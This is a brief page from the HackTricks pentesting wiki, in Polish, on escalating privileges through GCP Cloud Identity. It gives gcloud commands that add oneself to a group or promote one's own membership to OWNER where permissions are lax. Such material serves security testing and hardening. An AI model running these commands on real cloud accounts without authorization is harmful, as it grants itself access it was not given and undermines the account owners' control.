GCP - Cloudidentity Privesc

Wesprzyj HackTricks

Cloudidentity

Aby uzyskać więcej informacji na temat usługi cloudidentity, sprawdź tę stronę:

GCP - IAM, Principals & Org Policies Enum

Dodaj siebie do grupy

Jeśli twoje konto ma wystarczające uprawnienia lub grupa jest źle skonfigurowana, możesz dodać siebie jako członka nowej grupy:

gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER

Modyfikowanie przynależności do grupy

Jeśli użytkownik ma wystarczające uprawnienia lub grupa jest źle skonfigurowana, może on uczynić siebie WŁAŚCICIELEM grupy, do której należy:

# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>

# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
Wesprzyj HackTricks

Last updated